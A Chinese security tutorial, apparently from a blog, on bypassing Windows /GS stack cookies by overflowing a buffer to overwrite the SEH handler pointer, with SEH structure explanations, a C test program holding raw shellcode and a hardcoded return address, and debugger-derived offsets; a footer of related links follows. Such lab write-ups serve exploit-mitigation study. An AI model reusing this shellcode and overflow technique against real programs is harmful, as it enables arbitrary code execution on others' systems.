内存保护机制及绕过方案——通过覆盖SEH异常处理函数绕过/GS机制
通过SEH链绕过GS保护机制
⑴. 原理分析:
i.异常处理结构(SEH)处理流程如下:
SEH是基于线程的,每一个线程都有一个独立的SEH处理结果,在线程信息块中的第一个结构指向线程的异常列表,Fs:[0]总是指向当前线程的TIB,其中0偏移的指向线程的异常链表,即ExceptionList是指向异常处理链表(EXCEPTION_REGISTRATION结构)的一个指针。
线程信息块定义:
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; //异常的链表
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union {
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;
} NT_TIB;
EXCEPTION_REGISTRATION结构:
typedef struct _EXCEPTION_REGISTRATION_RECORD {
//指向前一个EXCEPTION_REGISTRATION的指针
struct _EXCEPTION_REGISTRATION_RECORD *Prev;
PEXCEPTION_ROUTINE Handler; //当前异常处理回调函数的地址
} EXCEPTION_REGISTRATION_RECORD;
异常处理函数(EXCEPTION_REGISTRATION结构中的PEXCEPTION_ROUTINE Handler),原型:
EXCEPTION_DISPOSITION __cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,//指向包含异常信息的EXCEPTION_RECORD结构
void*
EstablisherFrame,//指向该异常相关的EXCEPTION_REGISTRATION结构
struct _CONTEXT *ContextRecord,//指向线程环境CONTEXT结构的指针
void*
DispatcherContext){ //该域暂无意义
……
//4种返回值及含义
//1.ExceptionContinueExecution(0):回调函数处理了异常,可以从异常发生的指令处重新执行。
//2.ExceptionContinueSearch(1):回调函数不能处理该异常,需要要SEH链中的其他回调函数处理。
//3.ExceptionNestedException(2):回调函数在执行中又发生了新的异常,即发生了嵌套异常
//4.ExceptionCollidedUnwind(3):发生了嵌套的展开操作
return …
}
异常处理函数中EXCEPTION_RECORD参数的结构:
typedef struct
_EXCEPTION_RECORD {
DWORD ExceptionCode; //异常码,以STATUS_或EXCEPTION_开头,可自定义。(sehdef.inc)
DWORD ExceptionFlags; //异常标志。0可修复;1不可修复;2正在展开,不要试图修复
struct _EXCEPTION_RECORD *ExceptionRecord; //指向嵌套的异常结构,通常是异常中又引发异常
PVOID ExceptionAddress; //异常发生的地址
DWORD NumberParameters; //下面ExceptionInformation所含有的dword数目
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; //附加消息,如读或写冲突
} EXCEPTION_RECORD;
异常处理函数中CONTEXT参数的结构:
typedef struct
_CONTEXT {
DWORD ContextFlags; //用来表示该结构中的哪些域有效
DWORD Dr0, Dr2, Dr3, Dr4, Dr5,
Dr6, Dr7; //调试寄存器
FLOATING_SAVE_AREA FloatSave; //浮点寄存器区
DWORD SegGs, SegFs, SegEs, Seg
Ds; //段寄存器
DWORD Edi, Esi, Ebx, Edx, Ecx,
Eax; //通用寄存器组
DWORD Ebp, Eip, SegCs, EFlags,
Esp, SegSs; //控制寄存器组
//扩展寄存器,只有特定的处理器才有
BYTE
ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
异常展开机制:
a.什么是展开操作
①当发生异常时,系统遍历EXCEPTION_REGISTRATION结构链表,从链表头,直到它找到一个处理这个异常的处理程序。一旦找到,系统就再次重新遍历这个链表,直到处理这个异常的节点为止(即返回ExceptionContinueExecution节点)。在这第二次遍历中,系统将再次调用每个异常处理函数。关键的区别是,在第二次调用中,异常标志被设置为2。这个值被定义
为EH_UNWINDING
②注意展开操作是发生在出现异常时,这个异常回调函数拒绝处理的时候(即返回ExceptionContinueSearch)。这里系统会从链表头开始遍历(因异常的嵌套,可理解为由内层向外层),所以各异常回调函数会第1次被依次调用,直到找到同意处理的节点。然后,再重新从链表头开始(即由内向外)第2次调用以前那些曾经不处理异常的节点,直到同意处理的那个异常的节点为止。
③当一个异常处理程序拒绝处理某个异常时,它实际上也就无权决定流程最终将从何处恢复。只有处理某个异常的异常处理程序才能决定待所有异常处理代码执行完毕之后流程最终将从何处恢复。即,当异常已经被处理完毕,并且所有前面的异常帧都已经被展开之后,流程从处理异常的那个回调函数决定的地方开始继续执行。
④展开操作完成后,同意处理异常的回调函数也必须负责把Fs:[0]恢复到处理这个异常的EXCEPTION_REGISTRATION上,即展开操作导致堆栈上处理异常的帧以下的堆栈区域上的所有内容都被移除了,这个异常处理也就成了SEH链表的第1个节点。
b.为什么要进行堆栈展开
①第1个原因是告知回调函数将被卸掉,以让被卸载的回调函数有机会进行一些清理未释放资源的机会。因为一个函数发生异常时,执行流程通常不会从这个函数正常退出。所以可以导致资源未被正确释放(如C++类的对象析构函数没被调用等)。
②第2个原因是如果不进行堆栈展开,可能会引发未知的错误。(见《软件加密技术内幕》第132-134页)。
c.如何展开:RtlUnwind(lpLastStackFrame,lpCodelabel,lpExceptionRecord,dwRet);
①lpLastStackFrame:当遍历到这个帧时就停止展开异常帧。为NULL时表示展开所有回调函数。
②lpCodeLabel:指向该函数返回的位置。如果指定为NULL,表示函数使用正常的方式返回。
③lpExceptionRecord:指定一个EXCPETION_RECORD结构。这个结构将在展开操作的时候被传给每一个被调用的回调函数,一般建议使用NULL来让系统自动生成代表展开操作的EXCEPTION_RECORD结构。
④dwRet一般不被使用。
【注意】:
①MySEH2程序中我们并没有在main函数中的__try{}的 __except{}中调用RtlUnwind,是因为编译器在生成__try{}/__except{}时,己经帮我们做好了。否则如果是利用Windows本身的SEH来写的话,应该在返回ExceptionContinueExecution的回调函数中调用RtlUnwind来展开。
②RtlUnwind这个函数并不像其他API函数会保存esi、edi和ebx等寄存器,在函数返回的时候,这些寄存器的值也可能会被改变。如果程序用到了这些寄存器的话,要自己保存和恢复它们。
参考链接:
http://www.cnblogs.com/5iedu/p/5205428.html
ii.在没有safeSEH保护机制的程序中,程序运行时的堆栈结构如下:
所以当程序发生缓存区溢出,将我们需要的执行的恶意代码地址覆盖到异常处理函·数的指针,就可以在程序发生异常的时候执行恶意代码。
⑵.环境准备:
测试代码:
#include <stdafx.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;
void test(char * input)
{
char
buf[200];
strcpy(buf,input);
strcat(buf,input);
}
void main()
{
test(shellcode);
}
测试环境:
为了避免safeSEH保护机制的影响,使用win
2000和vs 2005(win 2000最高支持vs 2005)。
⑶.调试分析:
i.参数入栈:
得到:参数指针:0x0012ff78
ii.函数调用(EIP,EBP,EBP^cookies,入栈,并开辟缓冲区):
得到EIP : 0x0012ff74
EBP : 0x0012ff70
EBP^cookies : 0x0012ff6c
iii.查看异常处理链(在OD窗口中):
在堆栈中查看:
得到异常处理函数的指针地址为0x0012ffb4。
iv.参数在缓冲区中的起始地址(shellcode的起始地址):
得到参数在缓冲区中的起始地址为:0x0012fea0。
⑷.攻击过程:
i.确定shellcode大小:
从⑴原理分析中可知,我们的目的是将程序原本装载的异常处理函数指针换成我们恶意代码的指针。
Shellcode的大小 = 第一个异常处理函数的地址 — 缓冲区起始地址(shellcode起始地址)+ 4字节地址大小(异常处理函数指针的内容)
Size(shellcode) = 0x0012ffb4 - 0x00fea0 +
4 (地址长度为4字节) = 280字节
ii.设计shellcode
由之前的分析可以得到shellcode的结构如下:
iii.攻击结果:
当strcpy函数执行结束后,
检查堆栈:
异常处理函数指针已经被覆盖成shellcode的指针。
执行结果:
成功。
内存保护机制及绕过方案——通过覆盖SEH异常处理函数绕过/GS机制的更多相关文章
- 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制
1 GS内存保护机制 1.1 GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...
- 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH
前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴. 原理分析: 一个不是仅包含中间语言(1L)且 ...
- 内存保护机制及绕过方案——从堆中绕过safeSEH
1.1 SafeSEH内存保护机制 1.1.1 Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异 ...
- 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR
ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...
- 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH
利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴. 原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...
- KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态
KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 <寒江独钓>内核学习笔记(5) 继续我们的线程相关的数据结构的学习.接下来我们学习 KTH ...
- vuex-- Vue.的中心化状态管理方案(vue 组件之间的通信简化机制)
vuex-- Vue.的中心化状态管理方案(vue 组件之间的通信简化机制) 如果你在使用 vue.js , 那么我想你可能会对 vue 组件之间的通信感到崩溃 .vuex就是为了解决组件通信问题的. ...
- C++中的虚函数(表)实现机制以及用C语言对其进行的模拟实现
tfref 前言 C++对象的内存布局 只有数据成员的对象 没有虚函数的对象 拥有仅一个虚函数的对象 拥有多个虚函数的对象 单继承且本身不存在虚函数的继承类的内存布局 本身不存在虚函数(不严谨)但存在 ...
- javasrcipt的作用域和闭包(二)续篇之:函数内部提升机制与Variable Object
一个先有鸡还是先有蛋的问题,先看一段代码: a = 2; var a; console.log(a); 通常我们都说JavaScript代码是由上到下一行一行执行,但实际这段代码输出的结果是2.但这段 ...
随机推荐
- ZeroMQ作者于昨天下午宣布选择安乐死
… printf("goodbye, world !");
- 阿里、腾讯、京东、微软,各家算法&数据挖掘岗位面经大起底!
阿里.腾讯.京东.微软,各家算法&数据挖掘岗位面经大起底! 2016-02-24 36大数据 36大数据 作者: 江少华 摘要: 从2015年8月到2015年10月,花了3个月时间找工作,先后 ...
- BOM对象,math对象document对象的属性和操作和 事件的基本操作
Math对象 //该对象中的属性方法 和数学有关. abs(x) 返回数的绝对值. exp(x) 返回 e 的指数. floor(x) 对数进行下舍入. log(x) 返回数的自然对数(底为e). m ...
- linux 相关使用总结
1. 在centos下安装g++,如果输入 yum install g++,那么将会提示找不到g++.因为在centos下g++安装包名字叫做:gcc-c++ 所以应该输入 yum install g ...
- xshell如何同时打开多个标签
查看标签>>>>>回话选项卡>>>>>> 打钩即可
- node操作mongodb
var mongodb = require('mongodb'); var server = new mongodb.Server('localhost', 27017, {auto_reconnec ...
- Spring_事务准备
- 【bzoj5452】[Hnoi2016]大数(莫队)
题目传送门:https://www.lydsy.com/JudgeOnline/problem.php?id=4542 首先若p=2,5则这题就是道傻逼题,前缀和搞一下没了.如果p为其他质数,那么可以 ...
- LeetCode——Fizz Buzz
LeetCode--Fizz Buzz Question Write a program that outputs the string representation of numbers from ...
- spark SQL学习(load和save操作)
load操作:主要用于加载数据,创建出DataFrame save操作:主要用于将DataFrame中的数据保存到文件中 代码示例(默认为parquet数据源类型) package wujiadong ...